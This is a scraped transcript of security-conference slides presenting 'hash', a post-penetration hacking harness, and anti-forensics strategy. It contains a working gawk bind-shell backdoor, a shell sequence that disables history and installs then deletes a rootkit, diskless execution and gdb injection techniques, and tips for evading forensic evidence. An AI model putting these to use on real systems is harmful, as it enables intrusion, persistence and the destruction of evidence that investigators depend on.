Top Banner
Meta Anti Forensics Presenting the hash Hacking Harness the grugq <[email protected] >
40

Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq ... [snip] #

Jul 19, 2018

Download

Documents

duongxuyen
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Meta Anti ForensicsPresenting the hash Hacking Harness

the grugq <[email protected]>

Page 2: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Agenda

• Anti Forensics

• On Hacking

• Hacking Harness

• Features

• Implementation

• Final Thoughts

Page 3: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

the grugq

‣ Independent Security Researcher‣ Core focus

‣ Anti-Forensics (pioneer since 1999)

‣ Telephony Security

‣ Binary Analysis

‣ Thailand based

Page 4: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Anti ForensicsExtremely Short Overview

Page 5: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Principles

• Reduce the quantity and quality of evidence

• Data is evidence

Page 6: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Strategies

• Data Destruction

• Secure delete, magnets, hammer, etc.

• Data Hiding

• Forensic tool evasion, chaffing, exploiting

• Data Contraception

• Execute directly in memory

Page 7: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Contraceptive Hacking

• Limit the use of custom tools

• Cleaning data off the file system is difficult

• Better not to create it

• Stay off the disk, keep it in memory

Page 8: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

On Hacking[Hacking] is a contest of blunders, he who makes the

fewest, wins.

Page 9: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Hacking Tools

Pre-Penetration

Fuzzers, binary analysis, src auditting

Penetration

Exploit frameworks, SQL injectors

Post-Penetration

Rootkits, backdoors

Page 10: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Hacking Environment

• Vanilla Shell - bare back hacking

• Powerful environment for exploitation

• Non existent post-penetration control

• GUI tool - pornographic hacking

• Limited post-exploitation control

• Don’t play nicely with others

Page 11: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Bare Back Hacking$./exploit-ttarget.host.sg.......done!#unsetHISTFILE#mkdir-p/root/.mc/bin/scripts#cd/root/.mc/bin/scripts#cat>rk.tgz.uu<<__EOF__[snip]#uudecoderk.tgz.uu;tarxzrk.tgz#cdrk&&./install.sh#rm-rfrk*

Page 12: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Post Penetration Issues

• Limited to a shell

• Exploit frameworks can mitigate, but don’t play nicely with others

• File transfer

• cat & uudecode are lame!

• Habits of highly effective hackers

•unset HISTFILE

Page 13: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Preliminary Conclusion

Clear need for automation and a more powerful hacking environment

Page 14: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Requirements

• Normal shell environment

• Complete control over the shell

• Scriptable

• Extensible

• Plays nicely with others

Page 15: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Hacking HarnessPost Penetration Control

Page 16: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

A Hacking Harness...

• Provides total control over the hacking environment

• Enables automation via programmable IO

• Unrestricted interactive sessions

Page 17: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Desirable Features

• Modular plugin framework

• Inline file transfer

• Command aliasing

• Plays nicely with metasploit / CANVAS

Page 18: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Hacking Harness Hacking

$ ./exploit -t target.host.sg..... done!# ^\hash% newroot # ^\hash% put rk.tgz# ^\hash% installrk#

Could be automated further with expect and/ormore comprehensive newroot

Page 19: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Demo

• get a shell [ssh]

• check variables [ckvars]

• upload a file [put]

• download a file [get]

• execute a backdoor [qondom]

Page 20: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

hashMaking simple things easy, and difficult things possible

Page 21: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Brief History

• Originally inspired by a private tool in 2000

• Initial development as xsh in 2003

• Written in C

• Spent months dealwing with terminal IO

• Restarted in Python in June, 2007

• Over a dozen implementations

Page 22: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Components

• Hacking environment

• Plugin framework

• Builtin commands

• Multiplexing pty command and control daemon

• Sub-process shell inside pty

Page 23: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

kbd

hash

dtach shell

shell procdaemon prochash proc

Diagram

Page 24: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

hash Features

• Inline file transfer

• qondom

• Triggers

• Aliasing

• File system && shell escape commands

Page 25: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Inline File Transfer

• Pass file content as hexdump “encoded” data

• hash% put <file>

• encode as ASCII hex char stream

• decode with echoecho -e -n ‘\x...’ >> $FILE_NAME

• hash% get <file>

• encode with octal dump (od)od -t x1 -v $FILE | sed -e ‘s///’

Page 26: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

qondom.exec()

• Diskless execution of binaries and scripts

• Technique for scripts

• Run script interpreter (e.g. /bin/sh)

• Send script content over STDIN

Page 27: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

gawk Backdoor

BEGIN { Port = 8080 Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) }}

Page 28: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

qondom.exec() cont.

• Technique for binaries

• Use debugger to interface with a process

• Inject binary and run

• TODO: re-implement using gdbrpc

Page 29: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

rexec (original)

• Originally published in Phrack 62 (2003)

• Inspired by CORE Impact’s syscall proxying

• Written as a C library

• Generated absolutely no interest

Page 30: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

exec ELF binary

• Create a process address space

• Map down existing process image

• Allocate space for new process image

• Relocate process image

• Inject process image

• Transfer control of execution

Page 31: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

gdbrpc

• Execute system calls(gdb) p/x mmap(...)

• Copy in data(gdb) p/x memcpy(0x.., “\x00\x...”, ...)

• Set registers (gdb) p/x $eax = 0x01

• Set values(gdb) *(int *) 0x... = 0x...

Page 32: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Triggers

• Monitor output stream of pty process, automatically execute commands on triggers

• trigger ‘^# $’ = “unset HISTFILE; ^\put rk.tgz”

• TODO: Implement this without massive performance overhead

Page 33: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Aliased Commands

• Create an alias for a sequence of commands

• alias newroot=”unset HISTFILE”

• TODO: Allow aliased commands to access hash commands

Page 34: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Misc. Commands

• Keep a complete record of all session data

• log

• Dump local files to STDIN of pty shell

•cat <file1> [<file2> ...]

• Change hash current working directory

•cd <dir>

Page 35: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Misc. Commands. Cont.

• Shell escape

•! <shell command>

Page 36: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Implementation

• Developed in Python (2.4 and higher)

• Core components as modules

• Pty shell interaction via pexpect

Page 37: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Core Modules

• dtach

• Multiplexing pty IO daemon

• dtach.dtach(), dtach.attach()

• interp.Interpretor

• pexpect based wrapper for pty shells

Page 38: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Core Modules cont.

• command.Command

• Base class for all hash commands

• self.shell.init(), run(), fini

• self.shell.system()

Page 39: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Concluding Thoughts

• Hacking harnesses are crucial penetration testing tools

• Expect more developments in this space

• hash is the first public hacking harness

• not just a new tool, a new type of tool

• Available for download (soon)

http://www.tacticalvoip.com/tools.html

Page 40: Meta Anti Forensics - Hack In The Box Security Conference - The... · Meta Anti Forensics Presenting the hash Hacking Harness the grugq <grugq@tacticalvoip.com> ... [snip] #

Q&A